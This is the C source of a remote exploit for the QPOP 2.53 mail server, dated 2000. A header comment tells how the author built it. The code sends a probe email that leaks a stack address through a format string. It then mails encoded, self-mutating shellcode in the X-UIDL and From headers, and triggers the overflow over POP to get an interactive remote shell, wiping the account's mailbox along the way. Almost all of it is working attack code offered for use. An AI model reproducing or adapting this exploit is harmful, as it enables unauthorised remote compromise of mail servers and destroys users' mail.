home *** CD-ROM | disk | FTP | other *** search
- /*
- * Q-POP 2.53 The real smash. For linux.
- * (C) 2000 Axur Communications Inc.
- * 26 May csh@axur.org
- * ----------
- *
- * Some notes about this: (you may not see this ok, because I use wide screen width. Let it scroll)
-
- It's now more than 40 hours sleepless work on this. I hope you enjoy this release.
- I'll explain why this took that long. First, the directives to use this exploit:
-
- Ingredients:
-
- 1 - half neuronium. Even your blond girl friend can do that.
- 2 - a valid pop account. Now the hardest part:
-
- a. you should be able to find out the smtp server that handle this account, as well its host
- for pop query.
- b. you must be smart enough to clean your mess.
- c. do not blame me for that. By the way, I not responsible for your attitudes. Use this to audit
- your system, not your neighbor's one.
-
- 3 - edit this file (look main void), to exploit your box.
-
- Now, some theory (I love that). It started May 24th, 7pm.
-
- I saw prizm post on buqtraq, so I wanted to see this little baby smashing his ass by my eyes, so I started
- the action.
-
- After smashing it locally, some time spent. I got several vfprintf stack fault, then I realized that it was
- a ibc5 bug, looked forward to it. Posted this note right away to buqtraq, hope it'll published. ('til now,
- nothing). After this little, incident, a lot of more were defacing my coding hungryness.
-
- I made a 20seconds shellcode to the first tries, then I realized sendmails filters some characters.
- In some tests, reveals that 0x80...0x9f characters is filtered by sendmail on header tags.
- Ohh god, let me apply my old virii technics I learned reading the famous 40hex ;).
- I put myself into a challenge now. Self-mutanting code is the only solution to get around, as most "movs"
- opcodes use those range of chars, as well the int $0x80 (cd 80). okay. I made the shell quite simple.
- Some push, pop, inc, and inner looping technics got it done. Ow, by the way, the sun arised. its 7am.
- Time to smash remotely. Oh my god, the From: statement as prizm put in his exploit filters even 0xff, my
- stack range is now 0xbffffe51c ;). I sent prizm an email regarding this quote, and went to bed to have
- "some sleep". Its now 7:30.
- 11am I woke up thinking about how to fools the "From:" statement, letting it saving 0xff chars. Time to
- download sendmail's source code for a closer analisys.
- Damn. I forgot how sendmail's code is messy! Well, at this time, 3pm and I am giving up this shite.
- No answers from prizm. He answered my on my quote to libc.5, and he said he had a working exploit. I thought
- he is a liar. It's now 6pm and I should be writing a monography about steganographic methods. But this
- is getting me mad. I started to play with From: headers, tried to solve the problem with mime, but no deal.
- Well, finally I found out a solution. sendmail forget about domain when the right email address is between
- "<>". So I can throw 0xff chars after a bracked email. Now, to the real thing :)
- Exploing remotely from now, is trivial, but not the return address. I realized pretty fast a way around this.
- Why not sending a probe message with a "%p" which should point to the "after" stack address?
- So I did it. It now calculates the exactly return address to shell code.
- Then its now 2am 26th May. Fully documented (not that much), but a almost script kiddie exploit.
-
-
-
- Thank you for your attention,
- Gustavo Scotti <csh@axur.org>
-
- *
- *
- */
-
- #include <stdio.h>
- #include <stdlib.h>
- #include <time.h>
- #include <sys/socket.h>
- #include <netdb.h> /* gethostbyname */
- #include <arpa/inet.h> /* inet_ntoa */
- #include <string.h>
- /* these functions were taken from axur's Tamanduah's project.
- should give appropriate credits.
- */
-
- #define OK 0
- #define INVALID_HOST -1
- #define INVALID_SOCKET -2
- #define CONNECTION_REFUSED -3
-
- typedef unsigned char u8;
- typedef unsigned short u16;
- typedef unsigned long u32;
-
- int
- tcp_connect( daddr, dest)
- u32 daddr;
- u16 dest;
- {
- struct sockaddr_in server;
- int new;
-
- if (daddr == (u32)INVALID_HOST)
- return INVALID_HOST;
-
- server.sin_family = AF_INET;
- server.sin_port = htons( dest);
- server.sin_addr.s_addr = htonl(daddr);
-
- new = socket( AF_INET, SOCK_STREAM, 0);
- if (new<0)
- return INVALID_SOCKET;
-
- if (connect( new, (struct sockaddr *)&server, sizeof( server))<0)
- return CONNECTION_REFUSED;
-
- return new;
- }
-
- u32
- dns2ip( host)
- u8 *host;
- {
- struct hostent *dns;
- u32 saddr;
- dns = gethostbyname( host);
- if (!dns)
- return INVALID_HOST;
- bcopy( (char *)dns->h_addr, (char *)&saddr, dns->h_length);
- return ntohl(saddr);
- }
-
-
- int
- strexplode( u8 *toparse, u8 **argv, int max_argc, u8 *separators)
- {
- int arg = 0;
- u8 *tmp;
-
- tmp = toparse;
- while (arg<max_argc)
- {
- /* strip leading separators */
- while (*tmp && strchr(separators, *tmp))
- tmp++;
- if (!*tmp) break;
- argv[arg++] = tmp;
- while (*tmp && !strchr(separators, *tmp))
- tmp++;
- if (!*tmp) break;
- *tmp = 0; tmp++;
- }
- return arg;
- }
-
- /* end of tamandua's portion code... */
-
- /*
- Mutating shell-code. For QPOP-2.53.
- by csh@axur.org
-
- This shellcodes illustrates that even with character filtering, it is possible to issue a shell-code.
- This is done with a simple virus technic that self-mutates its code, generating the right one.
-
- The "good" application for self-mutated code is code compression, but I haven't done this for 2 main reasons:
-
- 1. The shellcode must be tiny. VERY tiny. 69 bytes means anything to you?
- 2. I must shrink this code as much as possible, to gain some "nop" space before stack smashing,
- to give accurate and error-margin return address. If you're in touch with buffer overflow, you know
- what I am talking about. :)
- correction for now: this exploit has the abilitie to get the ret addres precisely
-
- */
-
-
- u8 decryptshellcode[]=
- "\x31\xc0"
- "\xeb\x35\x5e\x6a\x0e\x5b\x6a\x26\x59\x56\x5f\x29\xcf\xfe\x07"
- "\x47\x49\x75\xfa\x4b\x75\xf0";
-
- u8 mutatedshellcode[]=
- "\x7b\xe2\x75\xb2\xfa\x7b\x38\xfa\x23\xb2\x7a\x38\xf9\x7b\x38\xfe"
- "\xa2\xfd\x7f\x40\xfa\x7f\x48\xfe\x7b\xe5\xbf\x72\x23\xb2\x32\xbf"
- "\x72\xe8\xc6\xff\xff\xff";
-
- u8 shell[]="/bin/sh";
-
- u16 pop_port = 110,
- mx_port = 25;
- u8 *mx_host, *pop_host;
- u8 *mx_mail, *pop_user, *pop_pass;
- u32 ret_addr;
- int verbose;
-
- int
- mx_connect()
- {
- u8 tmp[1024];
- int fd,n,i;
- u32 addr;
-
- addr = dns2ip(mx_host);
- if (addr==0xfffffff)
- {
- printf("mx host not found.\n");
- exit(0);
- }
-
- fd = tcp_connect(addr, mx_port);
- if (fd<=0)
- {
- printf("mx host connection refused (%d)\n", mx_port);
- exit(0);
- }
-
- /* reads first banner */
- n = read(fd, tmp, sizeof(tmp));
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"220 ", 4))
- {
- printf("mx_connect, stage 1 - connect. Error\n");
- exit(0);
- }
-
- sprintf(tmp,"HELO qpop-sploit\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"250 ", 4))
- {
- printf("mx_connect, stage 2 - HELO. Error. Maybe you are not welcome.\n");
- exit(0);
- }
-
- sprintf(tmp,"MAIL FROM: <root@localhost>\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"250 ", 4))
- {
- printf("mx_connect, stage 3 - MAIL FROM. Error. I believe they are denying localhost. Change the source.\n");
- exit(0);
- }
-
- sprintf(tmp,"RCPT TO: <%s>\n", mx_mail);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"250 ", 4))
- {
- printf("mx_connect, stage 4 - RCPT TO. Error. You sure this email exists? (%s).\n", mx_mail);
- exit(0);
- }
-
- sprintf(tmp,"DATA\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"354 ", 4))
- {
- printf("mx_connect, stage 5 - DATA. Error. Denying it?!?! What a loser.\n");
- exit(0);
- }
- return fd;
- }
-
-
- mx_probe()
- {
- u8 tmp[1024];
- int fd, n;
-
- fd = mx_connect();
- sprintf(tmp, "X-UIDL: qpop-probe");
- write(fd, tmp, strlen(tmp));
-
- sprintf(tmp, "\nFrom: <root@localhost> %s", "%p");
- write(fd, tmp, strlen(tmp));
-
- sprintf(tmp, "\nSubject: Wanna play?\n\n"
- "Tell me a number and I'll show you the truth!");
- write(fd, tmp, strlen(tmp));
-
- sprintf(tmp,"\n.\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
-
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"250 ", 4))
- {
- printf("probe_mx, End of Message. Error. Mail cannot be delivered. Check message (verbose).\n");
- return 0 ;
- }
- sprintf(tmp,"QUIT\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"221 ", 4))
- {
- printf("probe_mx, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n");
- return 0 ;
- }
- close(fd);
- }
-
-
- mx_egg()
- {
-
- u8 tmp[1024];
- int fd, n;
-
- fd = mx_connect();
- sprintf(tmp, "X-UIDL: %s%s%s", decryptshellcode, mutatedshellcode, shell);
- write(fd, tmp, strlen(tmp));
-
- printf("egg size %d bytes\n",
- strlen(decryptshellcode)+strlen(mutatedshellcode)+strlen(shell));
-
- sprintf(tmp, "\nFrom: <root@cisco.com> %s", "%.950d%.912d");
- write(fd, tmp, strlen(tmp));
-
- for (n=0;n<25;n++)
- write(fd, &ret_addr, 4);
-
- sprintf(tmp, "\nSubject: How is my little baby?\n\n"
- "Did it birth?! How cute!");
- write(fd, tmp, strlen(tmp));
-
- sprintf(tmp,"\n.\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
-
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"250 ", 4))
- {
- printf("mx_egg, End of Message. Error. Mail cannot be delivered. Check message (verbose).\n");
- return 0 ;
- }
- sprintf(tmp,"QUIT\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"221 ", 4))
- {
- printf("mx_egg, stage 7 - QUIT. Error. Cannot quit? Weirdo.\n");
- return 0 ;
- }
- close(fd);
- }
-
-
- pop_connect( int *nmsg)
- {
- u8 tmp[4096];
- int fd,n,i, msgid;
- u32 addr;
-
- addr = dns2ip(pop_host);
- if (addr==0xfffffff)
- {
- printf("pop host not found.\n");
- exit(0);
- }
-
- fd = tcp_connect(addr, pop_port);
- if (fd<=0)
- {
- printf("pop host connection refused (%d)\n", pop_port);
- exit(0);
- }
-
- /* reads first banner */
- n = read(fd, tmp, sizeof(tmp));
- if (verbose)
- printf("%s", tmp);
- if (!strstr(tmp,"QPOP (version 2.53)"))
- {
- printf("pop_connect, stage 1 - This version is not exploitable.\n");
- return 0 ;
- }
- /* check user */
- sprintf(tmp,"USER %s\n", pop_user);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("clean 1 - USER. Error. Is your account valid?.\n");
- return 0 ;
- }
- /* check pass */
- sprintf(tmp,"PASS %s\n", pop_pass);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (verbose)
- printf("%s", tmp);
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("clean stage 2 - PASS. Error. Password mismatch.\n");
- return 0 ;
- }
- else
- {
- u8 *arg[6];
- strexplode(tmp, arg, 6, " ");
- *nmsg = atoi(arg[3]);
- }
- return fd;
- }
-
- pop_clean()
- {
- u8 tmp[4096];
- int fd, i, n, nmsg;
-
- fd = pop_connect(&nmsg);
-
- if (!nmsg)
- {
- printf("no messages on server...\n");
- close(fd);
- return;
- }
- printf("you have %d messages, deleting...\n", nmsg);
- for (i=1;i<=nmsg;i++)
- {
- printf("%d..", i); fflush(stdout);
- sprintf(tmp,"DELE %d\n", i);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("clean stage 3 - DELE. Error. ?????.\n");
- exit(0);
- }
- }
- printf("done\n");
- sprintf(tmp,"QUIT\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("clean stage 4 - QUIT. Error. ?????.\n");
- exit(0);
- }
- close(fd);
- }
-
-
- check_delivery()
- {
- u8 tmp[4096];
- int fd,n,i, nmsg;
-
- redo:
- fd = pop_connect(&nmsg);
-
- if (!nmsg)
- {
- printf("no messages on server...\n");
- close(fd);
- printf("sleeping 5 seconds...\n");
- sleep(5);
- goto redo;
- }
-
- /* take last message, which must be the exploit */
- sprintf(tmp,"RETR %d\n", nmsg);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("check_delivery stage 3 - RETR. Error. ?????.\n");
- return 0 ;
- }
- else
- {
- u8 *param[3], head[128], *xuidl;
-
- n = strexplode(tmp, param, 3, " ");
- n = atoi(param[1]);
- read(fd, tmp, n); tmp[n]=0;
-
- printf("checking dependencies...\n");
- xuidl = strstr(tmp, "X-UIDL: ");
- if (!xuidl)
- {
- printf("check_delivery stage 4 - Error looking tag X-UIDL\n");
- return 0 ;
- }
- xuidl+=8;
- for (i=0;i<sizeof(decryptshellcode)-1;i++, xuidl++)
- if (*xuidl!=decryptshellcode[i])
- {
- printf("check_delivery stage 5 - decrypt shellcode mismatch\n");
- exit(0);
- }
- printf("decrypt shellcode OK..."); fflush(stdout);
- for (i=0;i<sizeof(mutatedshellcode)-1;i++, xuidl++)
- if (*xuidl!=mutatedshellcode[i])
- {
- printf("check_delivery stage 6 - mutated shellcode mismatch\n");
- exit(0);
- }
- printf("mutated shellcode OK..."); fflush(stdout);
- for (i=0;i<sizeof(shell)-1;i++, xuidl++)
- if (*xuidl!=shell[i])
- {
- printf("check_delivery stage 7 - shell mismatch\n");
- exit(0);
- }
- printf("shell OK..."); fflush(stdout);
-
- sprintf(head, "%s", "%.950d%.912d");
- xuidl = head + strlen(head);
- for (i=0;i<25;i++, xuidl+=4)
- *(u32 *)xuidl = ret_addr;
- *xuidl=0;
- n = strlen(head);
- xuidl = strstr(tmp, "From: ");
- if (!xuidl)
- {
- printf("check_delivery stage 8 - Error looking tag From:\n");
- exit( 0 );
- }
- xuidl+=23;
- for (i=0;i<n;i++, xuidl++)
- if (*xuidl!=head[i])
- {
- printf("check_delivery stage 8 - From ret address mismatch\n");
- return 0 ;
- }
- printf("return address OK.\n");
-
- }
- sprintf(tmp,"EUIDL %d\n", nmsg);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- sprintf(tmp,"id ; uname -a\n");
- write(fd, tmp, strlen(tmp));
- printf("Entering loop...\n");
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
-
- while (n>0)
- {
- fd_set fds; /* do a simple xit, very fast.. ;) I luv unix */
-
- FD_ZERO(&fds);
- FD_SET(0, &fds);
- FD_SET(fd, &fds);
- select(fd+1, &fds, NULL, NULL, NULL);
- if (FD_ISSET(0, &fds))
- {
- n = read(0, tmp, sizeof(tmp));
- if (n>0)
- write(fd, tmp, n);
- }
- if (FD_ISSET(fd, &fds))
- {
- n = read(fd, tmp, sizeof(tmp));
- if (n>0)
- write(1, tmp, n);
- }
- }
- printf("out!\n");
- close(fd);
- return 1;
- }
-
-
- pop_getaddr()
- {
- u8 tmp[4096];
- int fd, i, n, nmsg;
-
- fd = pop_connect(&nmsg);
-
- if (!nmsg)
- {
- printf("no messages on server...\n");
- exit(0);
- }
- sprintf(tmp,"EUIDL %d\n", nmsg);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("pop_getaddr stage 1 - EUIDL error.\n");
- exit(0);
- }
- else
- {
- u8 *arg[6];
-
- strexplode(tmp, arg, 6, " ");
- ret_addr = 0;
- sscanf(arg[5], "%x", &ret_addr);
- if (!ret_addr)
- {
- printf("pop_getaddr stage 2 - cannot take address value, great possibility they are patched\n");
- exit(0);
- }
- ret_addr-=2110; /* magic buffer size :P */
- }
- sprintf(tmp,"DELE %d\n", nmsg);
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("clean stage 3 - DELE. Error. ?????.\n");
- exit(0);
- }
- sprintf(tmp,"QUIT\n");
- write(fd, tmp, strlen(tmp));
- n = read(fd, tmp, sizeof(tmp)); tmp[n]=0;
- if (strncmp(tmp,"+OK ", 4))
- {
- printf("clean stage 4 - QUIT. Error. ?????.\n");
- exit(0);
- }
- printf("done\nReturn address: %x\n", ret_addr);
- close(fd);
- }
-
-
- main(int argc, char **argv)
- {
- int i;
- printf("Q-POP 2.53 exploitation by Axur Communications Inc.\n"
- "(C)2000, csh@axur.org\n"
- "Thanks to prizm@resentment.org and b0f for finding this bug\n\n"
- );
-
-
- /* change here... */
- mx_host = "localhost"; mx_mail = "lamer@localhost";
- pop_host = "localhost";
-
- pop_user = "lamer"; pop_pass = "lamepwd";
- /* end of changing... */
-
- verbose=0;
- printf("Checking veracity user/pass, and removes its mail (you won't need them anyway)..."); fflush(stdout);
- pop_clean();
-
- printf("Sending probing email..."); fflush(stdout);
- mx_probe();
- if (strcmp(mx_host, pop_host))
- {
- printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout);
- sleep(4);
- }
- pop_getaddr();
-
- printf("Sending egg email..."); fflush(stdout);
- mx_egg();
- printf("Checking delivery..."); fflush(stdout);
- if (strcmp(mx_host, pop_host))
- {
- printf("sleeping 4 (mx_host!=pop_host)..."); fflush(stdout);
- sleep(4);
- }
- check_delivery();
- }
- /* www.hack.co.za [27 September 2000]*/